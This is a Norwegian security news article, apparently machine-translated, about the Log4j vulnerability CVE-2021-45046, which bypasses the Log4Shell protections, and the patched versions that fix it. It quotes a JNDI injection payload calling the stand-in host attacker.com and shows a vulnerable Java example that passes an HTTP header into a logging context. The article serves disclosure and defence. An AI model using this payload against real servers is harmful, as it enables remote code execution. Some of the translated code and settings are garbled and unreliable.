En annen sårbarhet er identifisert i implementeringen av JNDI-oppslag i Log4j 2-biblioteket (CVE-2021-45046), som vises til tross for rettelsene lagt til i versjon 2.15 og uavhengig av bruken av "log4j2.noFormatMsgLookup"-innstillingen for beskyttelse. Problemet er hovedsakelig farlig for eldre versjoner av Log4j 2, beskyttet med "noFormatMsgLookup"-flagget, da det gjør det mulig å omgå beskyttelse fra tidligere sårbarheter (Log4Shell, CVE-2021-44228), som lar deg kjøre koden din på server. For brukere av versjon 2.15 er utnyttelse begrenset til å få applikasjonen til å krasje på grunn av utmattelse av tilgjengelige ressurser.
Sårbarheten vises kun på systemer som bruker kontekstoppslag for logging, for eksempel ${ctx:loginId}, eller MDC-maler (trådkontekstkart), for eksempel %X, %mdc og %MDC. Operasjon kommer ned til å lage betingelser for å sende ut data som inneholder JNDI-erstatninger til loggen ved bruk av kontekstspørringer eller MDC-maler i applikasjonen som definerer reglene for formatering av utdata til loggen.
Forskere fra LunaSec bemerket at for versjoner av Log4j mindre enn 2.15, kan denne sårbarheten brukes som en ny vektor for et Log4Shell-angrep, noe som fører til kodekjøring, hvis ThreadContext-uttrykk som inkluderer eksterne data brukes i loggutgangen, uavhengig av om "beskytt"-flagget er aktivert. noMsgFormatLookups" eller malen "%m{nolookups}".
Å omgå beskyttelsen kommer ned til det faktum at i stedet for direkte erstatning av "${jndi:ldap://attacker.com/a}", erstattes dette uttrykket med verdien av en mellomvariabel som brukes i reglene for formatering av loggutdata . For eksempel, hvis kontekstspørringen ${ctx:apiversion} brukes ved utdata til loggen, kan angrepet utføres ved å erstatte dataene «${jndi:ldap://attacker.com/a}» i verdi skrevet til apiversjonsvariabelen. Eksempel på sårbar kode: appender.console.layout.pattern = ${ctx:apiversion} - %d{åååå-MM-dd TT:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // HTTP-headerverdien "X-Api-Version" sendes til ThreadContext ThreadContext.put("apiversion ", apiVersjon ); // Når du sender ut til loggen, vil den eksterne apiversion-verdien bli behandlet ved å bruke substitusjonen ${ctx:apiversion} logger.info("Mottok en forespørsel om API-versjon"); returner "Hei, verden!"; }
I Log4j versjon 2.15 kan sårbarheten brukes til å utføre DoS-angrep når verdier sendes til ThreadContext, noe som resulterer i en løkke i utdataformateringsmalbehandling.
Oppdateringer 2.16 og 2.12.2 er publisert for å blokkere sårbarheten. I Log4j 2.16-grenen, i tillegg til rettelsene implementert i versjon 2.15 og bindingen av JNDI LDAP-forespørsler til "localhost", er JNDI-funksjonaliteten fullstendig deaktivert som standard og støtte for meldingserstatningsmaler er fjernet. Som en sikkerhetsløsning foreslås det å fjerne JndiLookup-klassen fra klassebanen (for eksempel "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Du kan spore utseendet til rettelser i pakker på distribusjonssidene (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) og Java-plattformprodusenter (GitHub, Docker, Oracle, vmWare, Broadcom og Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).
Kilde: opennet.ru